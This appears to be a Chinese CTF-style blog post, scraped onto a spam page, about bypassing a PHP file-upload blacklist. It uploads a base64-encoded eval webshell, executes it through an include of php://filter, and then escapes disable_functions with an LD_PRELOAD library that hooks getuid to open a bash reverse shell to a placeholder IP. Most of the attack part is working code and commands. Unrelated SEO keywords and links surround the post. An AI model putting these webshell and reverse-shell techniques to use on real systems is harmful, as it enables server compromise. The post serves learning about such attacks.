当前位置: 首页 > news >正文

家具网站开发环境与工具php源代码做网站

家具网站开发环境与工具,php源代码做网站,公司提供平台,设计投稿的网站有什么目录 一、Base64php://filter绕过 1.思路分析 2.实践验证 二、disabled_function绕过 一、Base64php://filter绕过 上课讲了这样一道题#xff0c;一起来看下(以下代码适用于PHP7.x及以上#xff0c;5的版本会报错) ?php function fun($var): bool{$blacklist …目录 一、Base64php://filter绕过 1.思路分析  2.实践验证 二、disabled_function绕过 一、Base64php://filter绕过 上课讲了这样一道题一起来看下(以下代码适用于PHP7.x及以上5的版本会报错) ?php function fun($var): bool{$blacklist [\$_, eval,copy ,assert,usort,include, require, $, ^, ~, -, %, *,file,fopen,fwriter,fput,copy,curl,fread,fget,function_exists,dl,putenv,system,exec,shell_exec,passthru,proc_open,proc_close, proc_get_status,checkdnsrr,getmxrr,getservbyname,getservbyport, syslog,popen,show_source,highlight_file,,chmod];foreach($blacklist as $blackword){if(strstr($var, $blackword)) return True;}return False; } error_reporting(0); //设置上传目录 define(UPLOAD_PATH, ./uploads); $msg Upload Success!; if (isset($_POST[submit])) { $temp_file $_FILES[upload_file][tmp_name]; $file_name $_FILES[upload_file][name]; $ext pathinfo($file_name,PATHINFO_EXTENSION); if(!preg_match(/php/i, strtolower($ext))){ die(只要好看的php); }$content file_get_contents($temp_file); if(fun($content)){die(诶被我发现了吧); } $new_file_name md5($file_name)...$ext;$img_path UPLOAD_PATH . / . $new_file_name;if (move_uploaded_file($temp_file, $img_path)){$is_upload true;} else {$msg Upload Failed!;die();}echo div stylecolor:#F00.$msg. Look here~ .$img_path./div; } 前端就是一个上传标签没啥可看的 !DOCTYPE html html langen headmeta charsetUTF-8meta nameviewport contentwidthdevice-width, initial-scale1.0title文件上传/title /head bodyh2上传文件/h2form actionindex.php methodpost enctypemultipart/form-datainput typefile nameupload_file idupload_fileinput typesubmit value上传文件 namesubmit/form /body /html 1.思路分析  题目要求只能上传php文件上传普通的一句话肯定不行直接被过滤掉 普通Webshell不行那上无字母呢 很明显也不行过滤了$_ , ~ , ^等符号 最终发现它没有过滤Base64编码和php://filterinclude也可以试试用大写能不能绕过 php://filter可以获取指定文件源码。当它与包含函数结合时php://filter流会被当作php文件执行 思路 首先可以上传一个经过Base64编码后的一句话这样就不会被过滤了 之后再上传一个文件包含的php代码include函数里面指定php://filter文件流把我们上传的一句话当做php代码执行 最后蚁剑连接getshell 2.实践验证 那么我们首先呢上传一个经过Base64编码后的一句话绕过过滤 PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8 然后先写好php://filterresource后面接我们上传的一句话因为被Base64编码了所以要先进行解码 php://filter/convert.base64-decode/resource93bc3c03503d8768cf7cc1e39ce16fcb.php 之后加上Include就大功告成了 ?php Include(php://filter/convert.base64-decode/resource93bc3c03503d8768cf7cc1e39ce16fcb.php); ? 直接上传但是被过滤了仔细看看发现是-被过滤掉了也可能是Include大写绕不过去 那只有找别的办法Include先不管-怎么解决 这时候还是可以用Base64来绕过php://filter里有这个符号那我们就直接编码这样就绕过了 编码后那就需要解码加上base64_decode就行 那这样新的代码就出来了 ?php Include(base64_decode(cGhwOi8vZmlsdGVyL2NvbnZlcnQuYmFzZTY0LWRlY29kZS9yZXNvdXJjZT05M2JjM2MwMzUwM2Q4NzY4Y2Y3Y2MxZTM5Y2UxNmZjYi5waHA)); ? 上传成功先传个phpinfo试试 成功执行那就上蚁剑直接getshell 连接成功后原题本来是有disabled_function过滤的这里由于是自己搭的环境没办法 所以用现成的docker又搭了一个来模拟我们getshell后遇到disabled_function过滤 二、disabled_function绕过 getshell后进入命令行 可以看到我们执行任何命令都返回ret127可以确定有disabled_function过滤 那怎么绕过呢 这里就可以利用LD_PRELOAD这个环境变量具体可以看我的上一篇博文 Nginx负载均衡下的webshell连接与过滤绕过以及LD_PROLOAD利用_Catherines7的博客-CSDN博客 这里其实可以用蚁剑的插件直接绕过 但这次我们自己来写动态链接库绕过 #include stdlib.h #include stdio.h #include string.hvoid payload() {system(bash -c bash -i /dev/tcp/xxx.xx.xx.xxx/2333 01); }uid_t getuid() {if (getenv(LD_PRELOAD) NULL) {return 0;}unsetenv(LD_PRELOAD);payload(); } 劫持getuid这个函数来执行我们的反弹shell命令 同样gcc编译 gcc -shared -fPIC hook_getuid.c -o hook_getuid.so 编译后上传到服务器的/var/www/html目录下 再上传一个php文件 ?php putenv(LD_PRELOAD/var/www/html/hook_getuid.so); mail(,,,,); ? 然后到浏览器去执行这个php文件 但是因为我这里是docker环境弹shell弹不出来 但是又没有disabled_function过滤的这样一个环境所以就没有进一步深究了
http://www.pierceye.com/news/999516/

相关文章:

  • 云服务器能放网站吗wordpress个人博客带会员
  • 网站做推广需要什么条件开一家网络公司需要什么条件
  • 能制作网站的软件wordpress转移至typecho
  • 荆州网站建设流程英文网站建设推广
  • 网站后台素材建e室内设计网官网全景效果图
  • 国外 网站页面设计中国知名的建网站的公司
  • pc网站做移动端适配宁波高质量品牌网站设计厂家
  • 淘宝客网站需要备案建筑材料网站建设
  • c 是用来做网站的吗网易蜂巢 wordpress
  • 网站主题模板制作百润网站建设
  • 搜狗网站排名软件国家城乡建设部网站
  • 专业网站推广服务咨询网站怎么可以被收录
  • 怎么自己做网站挂到百度上通号建设集团有限公司
  • 建设图片展示网站林萌荣温州市网页制作
  • 企业门户网站内容建设如何一个空间做多个网站
  • 行业网站源码网站建设福永附近网络公司
  • 建设网站哪个便宜ps做网站的优点
  • 网站制作中的更多怎么做盘锦市建设银行网站
  • 广西响应式网站建设男女做暧网站
  • 网站建设中心开发公司对施工单位管理措施
  • 青岛网站建设方案优化宋祖儿在哪个网站做网红
  • 莆田网站制作价格wordpress占用带宽
  • 网站用图片做背景搜索引擎推广一般包括哪些
  • 网站首页设计html代码可以发广告的平台
  • 做网站的技术哪个简单泰安吧贴吧
  • 网站制作厂家政务网站开发方案
  • 爱站工具卡片式网站
  • 计算机网站开发图片湛江城乡建设局网站
  • 广州个性化网站开发代做网站关键词
  • 如何开发一个手机网站北京推广网站